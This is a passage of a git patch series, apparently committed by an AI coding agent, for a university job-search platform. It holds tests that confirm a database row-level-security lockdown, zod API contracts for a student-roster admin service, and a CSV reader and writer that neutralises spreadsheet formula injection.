=> row['role']) }; + }); + expect(created).toEqual({ users: 1, memberRoles: ['owner'] }); + }); + + it('keeps what Supabase Auth needs: schema usage, the hook, and reading organization_members', async () => { + const [grants] = await sql<{ usage: boolean; execute: boolean; select: boolean }[]>` + SELECT has_schema_privilege('supabase_auth_admin', 'public', 'USAGE') AS usage, + has_function_privilege('supabase_auth_admin', 'public.custom_access_token_hook(jsonb)', 'EXECUTE') AS execute, + has_table_privilege('supabase_auth_admin', 'public.organization_members', 'SELECT') AS "select"`; + expect(grants).toEqual({ usage: true, execute: true, select: true }); + + // Behaviour, not just grants: RLS is on, yet the role still sees the rows and the hook still works. + const [owned] = await sql< + { n: number }[] + >`SELECT count(*)::int AS n FROM public.organization_members`; + const members = await probe('supabase_auth_admin', 'SELECT * FROM public.organization_members'); + expect(members.ok && members.count).toBe(owned?.n); + expect(owned?.n).toBeGreaterThan(0); + + const hook = await probe( + 'supabase_auth_admin', + `SELECT public.custom_access_token_hook( + jsonb_build_object('user_id', '${seededUserId}', 'claims', '{"app_metadata": {}}'::jsonb) + ) AS event`, + ); + expect(hook.ok).toBe(true); + const event = hook.ok + ? (hook.rows[0]?.['event'] as { claims: { app_metadata: Record } }) + : null; + expect(event?.claims.app_metadata['role']).toBe('owner'); + expect(typeof event?.claims.app_metadata['org_id']).toBe('string'); + + // Least privilege: it never had, and still does not have, access to the rest. + expect( + isPermissionDenied(await probe('supabase_auth_admin', 'SELECT * FROM public.resumes')), + ).toBe(true); + }); + + it('keeps tables, views, sequences and functions created later out of reach (default privileges)', async () => { + await sql.unsafe(` + CREATE TABLE public.rls_probe_late (id serial PRIMARY KEY, secret text); + INSERT INTO public.rls_probe_late (secret) VALUES ('top secret'); + CREATE VIEW public.rls_probe_late_view AS SELECT * FROM public.rls_probe_late; + CREATE SEQUENCE public.rls_probe_late_seq; + CREATE FUNCTION public.rls_probe_late_fn() RETURNS int LANGUAGE sql AS 'SELECT 1';`); + try { + const [flags] = await sql<{ rls: boolean }[]>` + SELECT relrowsecurity AS rls FROM pg_class WHERE oid = 'public.rls_probe_late'::regclass`; + expect(flags?.rls).toBe(true); + + for (const role of LOCKED_ROLES) { + for (const statement of [ + 'SELECT * FROM public.rls_probe_late', + 'INSERT INTO public.rls_probe_late DEFAULT VALUES', + 'SELECT * FROM public.rls_probe_late_view', + `SELECT nextval('public.rls_probe_late_seq')`, + 'SELECT public.rls_probe_late_fn()', + ]) { + const result = await probe(role, statement); + expect(isPermissionDenied(result), `${role}: ${statement}`).toBe(true); + } + } + } finally { + await sql.unsafe(` + DROP VIEW IF EXISTS public.rls_probe_late_view; + DROP TABLE IF EXISTS public.rls_probe_late; + DROP SEQUENCE IF EXISTS public.rls_probe_late_seq; + DROP FUNCTION IF EXISTS public.rls_probe_late_fn();`); + } + }); + + it('is deny-all through RLS alone, even if a grant sneaks back in', async () => { + const view = await inRolledBackTx(async (tx) => { + await tx.unsafe('GRANT ALL ON public.users TO anon, authenticated'); + const results: Record = {}; + for (const role of LOCKED_ROLES) { + await tx.unsafe(`SET LOCAL ROLE ${role}`); + const rows = await tx.unsafe('SELECT user_id FROM public.users'); + const updated = await tx.unsafe('UPDATE public.users SET full_name = full_name'); + await tx.unsafe('SAVEPOINT s'); + let insertError = ''; + try { + await tx.unsafe('INSERT INTO public.users DEFAULT VALUES'); + } catch (error) { + insertError = `${pgCode(error)} ${error instanceof Error ? error.message : ''}`; + } + await tx.unsafe('ROLLBACK TO SAVEPOINT s'); + results[role] = { rows: rows.length, updated: updated.count, insertError }; + await tx.unsafe('RESET ROLE'); + } + return results; + }); + for (const role of LOCKED_ROLES) { + expect(view[role]?.rows, `${role} rows`).toBe(0); + expect(view[role]?.updated, `${role} updated`).toBe(0); + expect(view[role]?.insertError, `${role} insert`).toMatch(/^42501 .*row-level security/); + } + }); + + it('heals drift: re-applying revokes a grant that crept back in', async () => { + await sql.unsafe('GRANT SELECT ON public.messages TO anon'); + expect((await probe('anon', 'SELECT * FROM public.messages')).ok).toBe(true); // grant works, RLS hides rows + await sql.unsafe(rlsSql); + expect(isPermissionDenied(await probe('anon', 'SELECT * FROM public.messages'))).toBe(true); + }); + + it('lets a table be exposed deliberately via v_data_api_objects, and nothing else', async () => { + const allowlisted = replaceOnce( + rlsSql, + 'v_data_api_objects constant text[] := ARRAY[]::text[];', + `v_data_api_objects constant text[] := ARRAY['messages']::text[];`, + ); + await sql.unsafe('GRANT SELECT ON public.messages TO authenticated'); + try { + await sql.unsafe(allowlisted); + const kept = await probe('authenticated', 'SELECT * FROM public.messages'); + expect(kept.ok && kept.count).toBe(0); // reachable, but RLS with no policy still returns nothing + expect( + isPermissionDenied(await probe('authenticated', 'SELECT * FROM public.contacts')), + ).toBe(true); + const [flags] = await sql<{ rls: boolean }[]>` + SELECT relrowsecurity AS rls FROM pg_class WHERE oid = 'public.messages'::regclass`; + expect(flags?.rls).toBe(true); + } finally { + await sql.unsafe(rlsSql); // the real file takes the grant away again + } + expect(isPermissionDenied(await probe('authenticated', 'SELECT * FROM public.messages'))).toBe( + true, + ); + }); + + it('refuses to commit, and changes nothing, if Supabase Auth would lose its grants', async () => { + await sql.unsafe(` + CREATE TABLE public.rls_probe_atomic (id int); + ALTER TABLE public.rls_probe_atomic DISABLE ROW LEVEL SECURITY; + REVOKE EXECUTE ON FUNCTION public.custom_access_token_hook(jsonb) FROM supabase_auth_admin;`); + try { + await expect(sql.unsafe(rlsSql)).rejects.toThrow(/lost EXECUTE on custom_access_token_hook/); + const [flags] = await sql<{ rls: boolean }[]>` + SELECT relrowsecurity AS rls FROM pg_class WHERE oid = 'public.rls_probe_atomic'::regclass`; + expect(flags?.rls).toBe(false); // the failed run was rolled back as a whole + } finally { + await sql.unsafe(` + GRANT EXECUTE ON FUNCTION public.custom_access_token_hook(jsonb) TO supabase_auth_admin; + DROP TABLE IF EXISTS public.rls_probe_atomic;`); + } + await sql.unsafe(rlsSql); // and with the grant back, it applies again + }); + + it('applies cleanly to an empty database, and when the locked roles do not exist', async () => { + const name = await createScratchDatabase(); + const notices: string[] = []; + const other = postgres(urlFor(adminUrl as string, name), { + max: 1, + prepare: false, + onnotice: (notice) => notices.push(String((notice as { message?: string }).message ?? '')), + }); + try { + await other.unsafe(rlsSql); // nothing in public at all + const [trigger] = await other<{ n: number }[]>` + SELECT count(*)::int AS n FROM pg_event_trigger WHERE evtname = 'atlas_enable_rls_on_new_tables'`; + expect(trigger?.n).toBe(1); + + // Without the event trigger, a table starts out unprotected; the run must then fix it + // while skipping roles that do not exist on this server. + await other.unsafe('DROP EVENT TRIGGER atlas_enable_rls_on_new_tables'); + await other.unsafe('CREATE TABLE public.t (id int)'); + const suffix = randomBytes(4).toString('hex'); + const absent = replaceOnce( + replaceOnce( + rlsSql, + `ARRAY['anon', 'authenticated']`, + `ARRAY['rls_absent_a_${suffix}', 'rls_absent_b_${suffix}']`, + ), + `'supabase_auth_admin'`, + `'rls_absent_c_${suffix}'`, + ); + await other.unsafe(absent); + const [flags] = await other<{ rls: boolean }[]>` + SELECT relrowsecurity AS rls FROM pg_class WHERE oid = 'public.t'::regclass`; + expect(flags?.rls).toBe(true); + expect(notices.some((message) => message.includes('roles not present, skipped'))).toBe(true); + } finally { + await other.end({ timeout: 5 }).catch(noop); + } + }, 60_000); +}); From f1f0e06912f37a2a958deb533c27d15415411ab8 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:44:10 +0000 Subject: [PATCH 15/91] feat(types): add admin-service API contracts Request/response schemas for the university roster endpoints under /v1/admin/organizations/:orgId: student list and detail, CSV/JSON roster import with a closed vocabulary of per-row error reasons, funnel, and CSV export. Documents the access rule (org owner/admin of a university org) and the privacy rule (activity-derived data only for students who are also org members). Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/types/src/admin.ts | 303 ++++++++++++++++++++++++++++++++++++ packages/types/src/index.ts | 1 + 2 files changed, 304 insertions(+) create mode 100644 packages/types/src/admin.ts diff --git a/packages/types/src/admin.ts b/packages/types/src/admin.ts new file mode 100644 index 0000000..7f0e75d --- /dev/null +++ b/packages/types/src/admin.ts @@ -0,0 +1,303 @@ +import { z } from 'zod'; +import { isoTimestampSchema, paginationQuerySchema, uuidSchema } from './common.js'; +import { APPLICATION_STATUSES, applicationStatusSchema, type MemberRole } from './enums.js'; + +/** + * Contracts for admin-service (docs/08: "college and enterprise operations"), + * mounted under `/v1/admin/organizations/:orgId/…`. + * + * Who may call: an authenticated *member* of `:orgId` whose role is one of + * {@link ADMIN_ROSTER_ROLES}, in an organization whose type is one of + * {@link ADMIN_ROSTER_ORG_TYPES}. Anyone who is not a member of `:orgId` gets + * 404 (the API never confirms an organization exists to outsiders); a member + * with a lesser role, or a member of a non-university org, gets 403. + * + * Privacy rule (the one place it is defined; the service enforces it in SQL): + * a roster row is *identity only* until the student is also a member of the + * organization ("sharing enabled" — the same membership test jobs-service + * applies before staff may see a member's recommendations). Only for such + * students does staff see anything derived from the student's own activity: + * application status counts and the latest ATS score. Resume text, parsed + * profiles, cover letters, messages, contacts and job/employer names are never + * returned by any endpoint here. + */ + +export const ADMIN_ROSTER_ROLES = ['owner', 'admin'] as const satisfies readonly MemberRole[]; +export type AdminRosterRole = (typeof ADMIN_ROSTER_ROLES)[number]; + +/** + * Roster management is a university-pilot feature. Enterprise orgs are excluded + * on purpose: an employer monitoring staff members' job search is a different + * product with a different consent story. Widening this is a one-line change. + */ +export const ADMIN_ROSTER_ORG_TYPES = ['university'] as const; + +/** Hard caps. Import: per request. Export: rows in one CSV download. */ +export const ADMIN_MAX_IMPORT_ROWS = 5_000; +export const ADMIN_MAX_EXPORT_ROWS = 10_000; + +export const adminOrgParamsSchema = z.object({ orgId: uuidSchema }); +export type AdminOrgParams = z.infer; + +export const adminStudentParamsSchema = z.object({ orgId: uuidSchema, studentId: uuidSchema }); +export type AdminStudentParams = z.infer; + +// --- shared building blocks -------------------------------------------------- + +/** One count per lifecycle status, zero-filled so clients never test for a missing key. */ +export const applicationStatusCountsSchema = z.record( + applicationStatusSchema, + z.number().int().min(0), +); +export type ApplicationStatusCounts = z.infer; + +/** + * What staff may see about a student's job search. `null` on a roster row means + * "sharing not enabled" — it is not the same as zero activity. + */ +export const studentInsightsSchema = z.object({ + has_resume: z.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: z.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: z.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable(), +}); +export type StudentInsights = z.infer; + +export const rosterStudentSchema = z.object({ + student_id: uuidSchema, + email: z.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: z.string().nullable(), + /** Stored in `students.department`. */ + program: z.string().nullable(), + graduation_year: z.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: z.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: z.boolean(), + insights: studentInsightsSchema.nullable(), +}); +export type RosterStudent = z.infer; + +// --- GET …/students ------------------------------------------------------------ + +/** + * `search` matches the email, and the name of students with sharing enabled + * (so a search can never be used to probe names that are not shown). + * `has_resume` / `application_status` only ever match students with sharing + * enabled — for everyone else those attributes are unknown, not false. + */ +export const rosterFilterSchema = z.object({ + search: z + .string() + .trim() + .max(200) + .optional() + .transform((value) => (value === '' ? undefined : value)), + has_resume: z.stringbool().optional(), + application_status: applicationStatusSchema.optional(), +}); +export type RosterFilter = z.infer; + +export const listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +export type ListAdminStudentsQuery = z.infer; + +export const listAdminStudentsResponseSchema = z.object({ + items: z.array(rosterStudentSchema), + next_cursor: z.string().nullable(), +}); +export type ListAdminStudentsResponse = z.infer; + +// --- GET …/students/:studentId ----------------------------------------------- + +export const adminStudentResponseSchema = z.object({ student: rosterStudentSchema }); +export type AdminStudentResponse = z.infer; + +// --- POST …/students/import -------------------------------------------------- + +/** Columns accepted in a CSV header (any order) and keys accepted in a JSON row. */ +export const IMPORT_STUDENT_COLUMNS = [ + 'email', + 'full_name', + 'student_id', + 'graduation_year', + 'program', +] as const; +export type ImportStudentColumn = (typeof IMPORT_STUDENT_COLUMNS)[number]; + +/** True when `value` contains a C0/C1 control character or DEL (tab, CR, LF included). */ +export function hasControlCharacters(value: string): boolean { + for (let index = 0; index < value.length; index += 1) { + const code = value.charCodeAt(index); + if (code <= 0x1f || (code >= 0x7f && code <= 0x9f)) return true; + } + return false; +} + +const singleLineText = (max: number) => + z + .string() + .trim() + .min(1) + .max(max) + .refine((value) => !hasControlCharacters(value), 'Control characters are not allowed'); + +const graduationYearSchema = z + .union([ + z.number(), + z + .string() + .trim() + .regex(/^\d{4}$/), + ]) + .transform((value) => Number(value)) + .pipe(z.number().int().min(1950).max(2100)); + +/** + * One roster row. Strict: unknown keys are rejected. Emails are normalized + * (trimmed, lower-cased) because that is the dedupe key. Blank optional values + * are treated as absent by the service before this schema runs. + */ +export const importStudentRowSchema = z.strictObject({ + email: z.string().trim().toLowerCase().max(320).pipe(z.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional(), +}); +export type ImportStudentRow = z.input; + +/** + * JSON body of `POST …/students/import` (`Content-Type: application/json`). + * The same rows may instead be sent as a `text/csv` body whose first line is a + * header naming {@link IMPORT_STUDENT_COLUMNS}. Requires an `Idempotency-Key` + * header. The server validates rows one by one so a single bad row yields a + * row-level error rather than a failed request. + */ +export const importStudentsRequestSchema = z.object({ + rows: z.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS), +}); +export type ImportStudentsRequest = z.input; + +/** + * Closed vocabulary of per-row failures. Reasons never echo submitted values + * (they may be personal data or attacker-controlled text). + */ +export const IMPORT_ROW_ERROR_REASONS = [ + 'MALFORMED_ROW', + 'UNKNOWN_FIELD', + 'MISSING_EMAIL', + 'INVALID_EMAIL', + 'MISSING_FULL_NAME', + 'INVALID_FULL_NAME', + 'INVALID_STUDENT_ID', + 'INVALID_GRADUATION_YEAR', + 'INVALID_PROGRAM', +] as const; +export const importRowErrorReasonSchema = z.enum(IMPORT_ROW_ERROR_REASONS); +export type ImportRowErrorReason = z.infer; + +/** + * Every data row lands in exactly one bucket, so + * `created + updated + skipped + errors.length === total_rows`. + * `row` is the 1-based position among data rows (a CSV header is not counted). + * + * `skipped` rows were valid but changed nothing: + * - `unchanged`: already on the roster with the same values (this is what an + * idempotent re-import reports); + * - `duplicate_in_file`: same normalized email as an earlier row (first wins); + * - `no_platform_account`: no Atlas account has this email. The `students` + * table requires a user, so an "invited" roster entry cannot be stored yet. + * Nobody is emailed; re-import after the student signs up. + */ +export const importStudentsResponseSchema = z.object({ + total_rows: z.number().int().min(0), + created: z.number().int().min(0), + updated: z.number().int().min(0), + skipped: z.number().int().min(0), + skipped_breakdown: z.object({ + unchanged: z.number().int().min(0), + duplicate_in_file: z.number().int().min(0), + no_platform_account: z.number().int().min(0), + }), + errors: z.array(z.object({ row: z.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: z.array(z.enum(['full_name', 'student_id'])), +}); +export type ImportStudentsResponse = z.infer; + +// --- GET …/funnel -------------------------------------------------------------- + +/** + * `from` is inclusive and `to` exclusive. The range scopes *activity* — + * applications and resume uploads created inside it. Roster counts are always + * as of now. + */ +export const adminFunnelQuerySchema = z + .object({ + from: z.iso.datetime({ offset: true }).optional(), + to: z.iso.datetime({ offset: true }).optional(), + }) + .refine( + (range) => + range.from === undefined || + range.to === undefined || + Date.parse(range.from) < Date.parse(range.to), + { message: '`from` must be earlier than `to`', path: ['from'] }, + ); +export type AdminFunnelQuery = z.infer; + +export const adminFunnelResponseSchema = z.object({ + organization_id: uuidSchema, + range: z.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: z.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: z.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: z.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: z.number().int().min(0), + }), + resumes: z.object({ + students_with_resume: z.number().int().min(0), + students_with_ats_score: z.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: z.number().min(0).max(100).nullable(), + }), + applications: z.object({ + total: z.number().int().min(0), + students_applied: z.number().int().min(0), + by_status: applicationStatusCountsSchema, + }), + offers: z.object({ + applications: z.number().int().min(0), + students: z.number().int().min(0), + }), +}); +export type AdminFunnelResponse = z.infer; + +// --- GET …/export.csv ------------------------------------------------------------ + +export const exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: z.stringbool().default(true), +}); +export type ExportStudentsQuery = z.infer; + +/** Zero-filled status counts, in lifecycle order. */ +export function emptyApplicationStatusCounts(): ApplicationStatusCounts { + return Object.fromEntries( + APPLICATION_STATUSES.map((status) => [status, 0]), + ) as ApplicationStatusCounts; +} diff --git a/packages/types/src/index.ts b/packages/types/src/index.ts index ad62dfd..d69105d 100644 --- a/packages/types/src/index.ts +++ b/packages/types/src/index.ts @@ -6,3 +6,4 @@ export * from './job.js'; export * from './application.js'; export * from './events.js'; export * from './api.js'; +export * from './admin.js'; From 05e1c4e90627e85ed53b2163e10c4e0348d5aeaf Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:44:13 +0000 Subject: [PATCH 16/91] feat(admin): add CSV reader/writer and roster row validation In-house RFC 4180 reader (quotes, CRLF, BOM, row cap), a CSV writer that neutralizes spreadsheet formula injection (= + - @ TAB CR get a leading single quote) and quotes per RFC 4180, per-row import validation that reports only closed-vocabulary reasons and never echoes submitted values, and the export column mapping. Pure functions with unit tests. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/admin/src/lib/csv-parse.ts | 108 ++++++++++ services/admin/src/lib/csv-write.ts | 57 ++++++ services/admin/src/lib/export-csv.ts | 41 ++++ services/admin/src/lib/import-rows.ts | 254 +++++++++++++++++++++++ services/admin/src/lib/timestamps.ts | 12 ++ services/admin/test/contracts.test.ts | 113 +++++++++++ services/admin/test/csv.test.ts | 150 ++++++++++++++ services/admin/test/import-rows.test.ts | 257 ++++++++++++++++++++++++ 8 files changed, 992 insertions(+) create mode 100644 services/admin/src/lib/csv-parse.ts create mode 100644 services/admin/src/lib/csv-write.ts create mode 100644 services/admin/src/lib/export-csv.ts create mode 100644 services/admin/src/lib/import-rows.ts create mode 100644 services/admin/src/lib/timestamps.ts create mode 100644 services/admin/test/contracts.test.ts create mode 100644 services/admin/test/csv.test.ts create mode 100644 services/admin/test/import-rows.test.ts diff --git a/services/admin/src/lib/csv-parse.ts b/services/admin/src/lib/csv-parse.ts new file mode 100644 index 0000000..08bb3ab --- /dev/null +++ b/services/admin/src/lib/csv-parse.ts @@ -0,0 +1,108 @@ +/** + * Minimal RFC 4180 reader: quoted fields, `""` escapes, quoted newlines, CRLF / + * LF / CR record separators, optional UTF-8 BOM. Comma-delimited only. + * + * Written in-house because the roster import needs exactly this and nothing + * else, and a dependency that parses untrusted uploads is more attack surface + * than the ~60 lines below. Linear time: every character is visited once. + */ + +export type CsvParseFailure = 'unterminated_quote' | 'misplaced_quote' | 'too_many_records'; + +export class CsvParseError extends Error { + constructor( + readonly failure: CsvParseFailure, + /** 1-based index of the record being read when parsing stopped. */ + readonly record: number, + ) { + super(`CSV parse failed: ${failure}`); + this.name = 'CsvParseError'; + } +} + +export interface ParseCsvOptions { + /** Maximum number of non-blank records (header included) before failing fast. */ + maxRecords: number; +} + +function isBlankRecord(cells: readonly string[]): boolean { + return cells.every((cell) => cell.trim() === ''); +} + +/** + * Returns the non-blank records of `input`. Blank lines and rows whose cells + * are all empty (Excel pads exports with `,,,,`) are dropped. + */ +export function parseCsv(input: string, options: ParseCsvOptions): string[][] { + const text = input.charCodeAt(0) === 0xfeff ? input.slice(1) : input; + const length = text.length; + const records: string[][] = []; + let row: string[] = []; + let index = 0; + + const finishRecord = (): void => { + if (!isBlankRecord(row)) { + records.push(row); + if (records.length > options.maxRecords) { + throw new CsvParseError('too_many_records', records.length); + } + } + row = []; + }; + + while (index < length) { + let field: string; + + if (text[index] === '"') { + index += 1; + field = ''; + for (;;) { + const quote = text.indexOf('"', index); + if (quote === -1) throw new CsvParseError('unterminated_quote', records.length + 1); + field += text.slice(index, quote); + if (text[quote + 1] === '"') { + field += '"'; + index = quote + 2; + continue; + } + index = quote + 1; + break; + } + const next = text[index]; + if (index < length && next !== ',' && next !== '\n' && next !== '\r') { + throw new CsvParseError('misplaced_quote', records.length + 1); + } + } else { + const start = index; + while (index < length) { + const char = text[index]; + if (char === ',' || char === '\n' || char === '\r') break; + index += 1; + } + field = text.slice(start, index); + } + + row.push(field); + + if (index >= length) { + finishRecord(); + break; + } + + if (text[index] === ',') { + index += 1; + if (index >= length) { + // A trailing delimiter at EOF still ends with an (empty) field. + row.push(''); + finishRecord(); + break; + } + continue; + } + + index += text[index] === '\r' && text[index + 1] === '\n' ? 2 : 1; + finishRecord(); + } + + return records; +} diff --git a/services/admin/src/lib/csv-write.ts b/services/admin/src/lib/csv-write.ts new file mode 100644 index 0000000..292f365 --- /dev/null +++ b/services/admin/src/lib/csv-write.ts @@ -0,0 +1,57 @@ +/** + * CSV output with spreadsheet formula-injection neutralization. + * + * A cell that starts with `=`, `+`, `-`, `@`, TAB or CR is interpreted as a + * formula by Excel, LibreOffice and Google Sheets, which turns any text a user + * controls (a program name, a platform display name) into code that runs on + * the staff member's machine when they open an export. OWASP's mitigation is + * applied to every *string* cell: prefix a single quote so the cell is plain + * text. Numbers and booleans are generated here, never user-supplied, and are + * emitted as-is. + */ + +export type CsvCell = string | number | boolean | null | undefined; + +const FORMULA_TRIGGERS = new Set(['=', '+', '-', '@', '\t', '\r']); + +export function neutralizeFormula(value: string): string { + const first = value.charAt(0); + return FORMULA_TRIGGERS.has(first) ? `'${value}` : value; +} + +function needsQuoting(text: string): boolean { + return /[",\r\n]/.test(text) || text.startsWith(' ') || text.endsWith(' '); +} + +/** Encodes one cell: neutralize (strings only), then quote and escape per RFC 4180. */ +export function csvCell(value: CsvCell): string { + let text: string; + if (value === null || value === undefined) { + return ''; + } else if (typeof value === 'number') { + text = Number.isFinite(value) ? String(value) : ''; + } else if (typeof value === 'boolean') { + text = value ? 'true' : 'false'; + } else { + text = neutralizeFormula(value); + } + return needsQuoting(text) ? `"${text.replaceAll('"', '""')}"` : text; +} + +export const UTF8_BOM = ''; + +export interface ToCsvOptions { + /** Prefix a UTF-8 byte-order mark so Excel detects the encoding. */ + bom?: boolean; +} + +/** Header plus rows, CRLF-terminated (RFC 4180). */ +export function toCsv( + header: readonly string[], + rows: Iterable, + options: ToCsvOptions = {}, +): string { + const lines: string[] = [header.map((name) => csvCell(name)).join(',')]; + for (const row of rows) lines.push(row.map((cell) => csvCell(cell)).join(',')); + return `${options.bom === true ? UTF8_BOM : ''}${lines.join('\r\n')}\r\n`; +} diff --git a/services/admin/src/lib/export-csv.ts b/services/admin/src/lib/export-csv.ts new file mode 100644 index 0000000..bfb9059 --- /dev/null +++ b/services/admin/src/lib/export-csv.ts @@ -0,0 +1,41 @@ +import { APPLICATION_STATUSES, type RosterStudent } from '@atlas/types'; +import { toCsv, type CsvCell } from './csv-write.js'; + +/** + * Export columns. Identity first, then the sharing-gated summary. Per-status + * counts use the real application status enum, one column each. + */ +export const EXPORT_COLUMNS = [ + 'email', + 'full_name', + 'program', + 'graduation_year', + 'status', + 'sharing_enabled', + 'has_resume', + 'latest_ats_score', + 'applications_total', + ...APPLICATION_STATUSES.map((status) => `applications_${status}`), +] as const; + +function exportRow(student: RosterStudent): CsvCell[] { + const insights = student.insights; + return [ + student.email, + student.full_name, + student.program, + student.graduation_year, + student.status, + student.sharing_enabled, + // Empty (not false / 0) where sharing is off: unknown is not the same as none. + insights?.has_resume, + insights?.latest_ats_score, + insights?.applications_total, + ...APPLICATION_STATUSES.map((status) => insights?.applications_by_status[status]), + ]; +} + +/** Renders roster entries as a CSV document. Every string cell is formula-neutralized by {@link toCsv}. */ +export function rosterToCsv(students: readonly RosterStudent[], options: { bom: boolean }): string { + return toCsv(EXPORT_COLUMNS, students.map(exportRow), { bom: options.bom }); +} diff --git a/services/admin/src/lib/import-rows.ts b/services/admin/src/lib/import-rows.ts new file mode 100644 index 0000000..f81956a --- /dev/null +++ b/services/admin/src/lib/import-rows.ts @@ -0,0 +1,254 @@ +import { + ADMIN_MAX_IMPORT_ROWS, + IMPORT_STUDENT_COLUMNS, + hasControlCharacters, + importStudentRowSchema, + type ImportRowErrorReason, + type ImportStudentColumn, +} from '@atlas/types'; +import { AppError } from '@atlas/utils'; +import { CsvParseError, parseCsv } from './csv-parse.js'; + +/** One submitted row exactly as received: CSV rows arrive as strings, JSON rows as anything. */ +export type RawImportRow = Record | null; + +/** A row that passed validation, with the fields the roster actually stores. */ +export interface ValidImportRow { + /** 1-based position among data rows. */ + row: number; + /** Trimmed and lower-cased: the dedupe and account-lookup key. */ + email: string; + program: string | undefined; + graduationYear: number | undefined; + /** The row carried a student id, which is validated but not stored (no column for it). */ + suppliedStudentId: boolean; +} + +export type RowOutcome = + | { row: number; ok: true; value: ValidImportRow } + | { row: number; ok: false; reason: ImportRowErrorReason }; + +const REQUIRED_COLUMNS: readonly ImportStudentColumn[] = ['email', 'full_name']; +const KNOWN_COLUMNS: ReadonlySet = new Set(IMPORT_STUDENT_COLUMNS); + +/** `Email Address` → `email_address`; lets a hand-edited header still match. */ +function normalizeHeader(name: string): string { + return name + .trim() + .toLowerCase() + .replace(/[\s-]+/g, '_'); +} + +/** Header names echo back to the caller in an error, so bound and defang them first. */ +function safeHeaderName(name: string): string { + const cleaned = Array.from(name.slice(0, 40)) + .map((char) => (hasControlCharacters(char) ? ' ' : char)) + .join(''); + return cleaned.trim(); +} + +function csvError(message: string, details?: unknown): AppError { + return new AppError('VALIDATION_ERROR', message, details === undefined ? {} : { details }); +} + +/** + * Turns a CSV body into raw rows keyed by canonical column name. Structural + * problems (no header, unknown or duplicate columns, broken quoting) reject the + * whole file; a problem inside one row is left for {@link validateImportRows}. + */ +export function csvToRawRows( + text: string, + maxRows: number = ADMIN_MAX_IMPORT_ROWS, +): RawImportRow[] { + let records: string[][]; + try { + records = parseCsv(text, { maxRecords: maxRows + 1 }); + } catch (cause) { + if (cause instanceof CsvParseError) { + if (cause.failure === 'too_many_records') { + throw new AppError('PAYLOAD_TOO_LARGE', `An import may contain at most ${maxRows} rows`, { + details: { max_rows: maxRows }, + }); + } + throw csvError('CSV is malformed: check quoting', { record: cause.record }); + } + throw cause; + } + + const [headerCells, ...dataRecords] = records; + if (!headerCells) throw csvError('CSV is empty: expected a header row'); + + const header = headerCells.map(normalizeHeader); + const unknown = header.filter((name) => !KNOWN_COLUMNS.has(name)); + if (unknown.length > 0) { + throw csvError('CSV header has unknown columns', { + unknown_columns: unknown.slice(0, 10).map(safeHeaderName), + allowed_columns: IMPORT_STUDENT_COLUMNS, + }); + } + if (new Set(header).size !== header.length) throw csvError('CSV header has duplicate columns'); + const missing = REQUIRED_COLUMNS.filter((name) => !header.includes(name)); + if (missing.length > 0) + throw csvError('CSV header is missing required columns', { missing_columns: missing }); + if (dataRecords.length === 0) throw csvError('CSV has no data rows'); + + return dataRecords.map((cells): RawImportRow => { + // Extra *empty* cells are harmless trailing delimiters; extra content is not. + if ( + cells.length > header.length && + cells.slice(header.length).some((cell) => cell.trim() !== '') + ) { + return null; + } + const row: Record = {}; + header.forEach((name, position) => { + row[name] = cells[position] ?? ''; + }); + return row; + }); +} + +/** + * Extracts the rows from a JSON body: `{ "rows": [...] }`, or a bare array. + * Per-row problems are left for {@link validateImportRows}. + */ +export function jsonToRawRows( + body: unknown, + maxRows: number = ADMIN_MAX_IMPORT_ROWS, +): RawImportRow[] { + let rows: unknown; + if (Array.isArray(body)) { + rows = body; + } else if (typeof body === 'object' && body !== null && !Array.isArray(body)) { + const keys = Object.keys(body); + if (keys.length !== 1 || keys[0] !== 'rows') { + throw csvError('Expected a JSON object with a single "rows" array'); + } + rows = (body as { rows: unknown }).rows; + } + if (!Array.isArray(rows)) throw csvError('Expected "rows" to be an array'); + if (rows.length === 0) throw csvError('At least one row is required'); + if (rows.length > maxRows) { + throw new AppError('PAYLOAD_TOO_LARGE', `An import may contain at most ${maxRows} rows`, { + details: { max_rows: maxRows }, + }); + } + return rows.map((row): RawImportRow => + typeof row === 'object' && row !== null && !Array.isArray(row) + ? (row as Record) + : null, + ); +} + +const REASON_BY_FIELD: Record< + string, + { missing?: ImportRowErrorReason; invalid: ImportRowErrorReason } +> = { + email: { missing: 'MISSING_EMAIL', invalid: 'INVALID_EMAIL' }, + full_name: { missing: 'MISSING_FULL_NAME', invalid: 'INVALID_FULL_NAME' }, + student_id: { invalid: 'INVALID_STUDENT_ID' }, + graduation_year: { invalid: 'INVALID_GRADUATION_YEAR' }, + program: { invalid: 'INVALID_PROGRAM' }, +}; + +/** + * Blank cells (CSV `""`, JSON `null` / `""`) mean "not provided". Keys 